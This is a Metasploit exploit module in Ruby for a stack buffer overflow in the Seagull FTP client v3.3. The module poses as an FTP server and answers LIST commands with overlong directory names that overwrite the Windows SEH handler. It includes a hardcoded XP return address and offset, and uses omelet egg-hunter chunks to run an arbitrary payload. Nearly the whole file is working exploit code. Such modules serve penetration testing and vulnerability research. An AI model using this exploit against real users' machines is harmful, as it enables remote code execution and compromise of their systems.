##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Omelet

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Seagull FTP v3.3 Build 409 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the Seagull FTP client that gets
        triggered when the ftp client processes a response to a LIST command. If the
        response contains an overly long file/folder name, a buffer overflow occurs,
        overwriting a structured exception handler.
      },
      'Author' 	 =>
        [
          'corelanc0d3r <peter.ve[at]corelan.be>' # found bug, wrote the exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '94556' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'StackAdjustment' => -1500,
          'DisableNops' => 'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'XP Universal', { 'Offset' => 232, 'Ret' => 0x7CE4650C } ], # jmp esp shell32.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-10-12',
      'DefaultTarget'  => 0))
  end

  #---------------------------------------------------------------------------------

  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c,arg)
    print_status("Handling LIST command")
    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")
    code = 226
    c.put("#{code} Directory send ok.\r\n")

    crash = "A" * target['Offset']
    crash << [target.ret].pack('V')

    #corelanc0d3r's omelet mixin
    thepayload = ("\x90" * 30) + payload.encoded

    omeletoptions =
    {
      :eggsize => 123,
      :eggtag => "00w",
      :searchforward => true,
      :reset => false,
      :checksum => true
    }
    badchars = '\x00'
    omelet =  generate_omelet(thepayload,badchars,omeletoptions)

    omeletcode = omelet[0]
    print_status("[+] Omelet code : #{omeletcode.length} bytes")
    print_status("[+] Number of eggs : #{omelet[1].length}")
    print_status("[+] Sending payload")
    crash << ("\x90" * 30) + omeletcode

    print_status(" - Sending directory list via data connection")
    dirlist = ""

    omelet[1].each do |thischunk|
      print_status(" [+] Planted egg of #{thischunk.length} bytes")
      dirlist << "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{thischunk}\r\n"
    end
    dirlist << "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{crash}\r\n"
    conn.put("total #{omelet[1].length+1}\r\n"+dirlist)
    conn.close
    print_status(" - Wait for omelet hunter...")
    return
  end
end
